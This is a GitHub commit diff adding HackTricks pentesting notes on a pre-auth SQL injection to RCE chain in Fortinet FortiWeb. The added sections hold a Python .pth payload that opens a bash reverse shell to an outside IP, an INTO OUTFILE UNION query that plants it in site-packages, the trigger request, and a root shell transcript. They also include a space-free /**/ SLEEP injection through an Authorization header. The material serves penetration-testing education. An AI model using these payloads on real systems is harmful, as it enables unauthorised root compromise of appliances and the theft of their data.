Skip to content

Commit 34e6ef7

Browse files
authored
Merge pull request #1100 from HackTricks-wiki/update_Pre-auth_SQL_Injection_to_RCE_in_Fortinet_FortiWeb_20250711_182725
Pre-auth SQL Injection to RCE in Fortinet FortiWeb Fabric Co...
2 parents 24bb016 + 50ed2a3 commit 34e6ef7

File tree

2 files changed

+83
-3
lines changed

2 files changed

+83
-3
lines changed

src/network-services-pentesting/pentesting-mysql.md

Lines changed: 54 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,10 @@
11
# 3306 - Pentesting Mysql
22

3+
{{#include /banners/hacktricks-training.md}}
4+
5+
## References
6+
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
7+
38
{{#include ../banners/hacktricks-training.md}}
49

510
## **Basic Information**
@@ -123,6 +128,52 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
123128
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
124129
{{#endref}}
125130
131+
#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
132+
133+
Abusing the classic `INTO OUTFILE` primitive it is possible to obtain *arbitrary code execution* on targets that later run **Python** scripts.
134+
135+
1. Use `INTO OUTFILE` to drop a custom **`.pth`** file inside any directory loaded automatically by `site.py` (e.g. `.../lib/python3.10/site-packages/`).
136+
2. The `.pth` file can contain a *single line* starting with `import ` followed by arbitrary Python code which will be executed every time the interpreter starts.
137+
3. When the interpreter is implicitly executed by a CGI script (for example `/cgi-bin/ml-draw.py` with shebang `#!/bin/python`) the payload is executed with the same privileges as the web-server process (FortiWeb ran it as **root** → full pre-auth RCE).
138+
139+
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
140+
141+
```python
142+
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
143+
```
144+
145+
Example of crafting the file through an **UNION** query (space characters replaced with `/**/` to bypass an `sscanf("%128s")` space filter and keep the total length ≤128 bytes):
146+
147+
```sql
148+
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
149+
```
150+
151+
Important limitations & bypasses:
152+
153+
* `INTO OUTFILE` **cannot overwrite** existing files; choose a new filename.
154+
* The file path is resolved **relative to MySQL’s CWD**, so prefixing with `../../` helps to shorten the path and bypass absolute-path restrictions.
155+
* If the attacker input is extracted with `%128s` (or similar) any space will truncate the payload; use MySQL comment sequences `/**/` or `/*!*/` to replace spaces.
156+
* The MySQL user running the query needs the `FILE` privilege, but in many appliances (e.g. FortiWeb) the service runs as **root**, giving write access almost everywhere.
157+
158+
After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:
159+
160+
```
161+
GET /cgi-bin/ml-draw.py HTTP/1.1
162+
Host: <target>
163+
```
164+
165+
The Python process will import the malicious `.pth` automatically and execute the shell payload.
166+
167+
```
168+
# Attacker
169+
$ nc -lvnp 4444
170+
id
171+
uid=0(root) gid=0(root) groups=0(root)
172+
```
173+
174+
---
175+
176+
126177
## MySQL arbitrary read file by client
127178
128179
Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
@@ -645,7 +696,9 @@ Entry_4:
645696
646697
647698
648-
{{#include ../banners/hacktricks-training.md}}
699+
## References
700+
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
649701
702+
{{#include ../banners/hacktricks-training.md}}
650703
651704

src/pentesting-web/sql-injection/mysql-injection/README.md

Lines changed: 29 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -160,6 +160,32 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1);
160160
161161
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
162162
163+
### Injection without SPACES (`/**/` comment trick)
164+
165+
Some applications sanitise or parse user input with functions such as `sscanf("%128s", buf)` which **stop at the first space character**.
166+
Because MySQL treats the sequence `/**/` as a comment *and* as whitespace, it can be used to completely remove normal spaces from the payload while keeping the query syntactically valid.
167+
168+
Example time-based blind injection bypassing the space filter:
169+
170+
```http
171+
GET /api/fabric/device/status HTTP/1.1
172+
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
173+
```
174+
175+
Which the database receives as:
176+
177+
```sql
178+
' OR SLEEP(5)-- -'
179+
```
180+
181+
This is especially handy when:
182+
183+
* The controllable buffer is restricted in size (e.g. `%128s`) and spaces would prematurely terminate the input.
184+
* Injecting through HTTP headers or other fields where normal spaces are stripped or used as separators.
185+
* Combined with `INTO OUTFILE` primitives to achieve full pre-auth RCE (see the MySQL File RCE section).
186+
187+
---
188+
163189
### MySQL history
164190
165191
You ca see other executions inside the MySQL reading the table: **sys.x$statement_analysis**
@@ -174,11 +200,12 @@ mysql> select version();
174200
175201
## Other MYSQL injection guides
176202
177-
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
203+
- [PayloadsAllTheThingsMySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
178204
179205
## References
180206
181-
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
207+
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
208+
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
182209
183210
184211
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)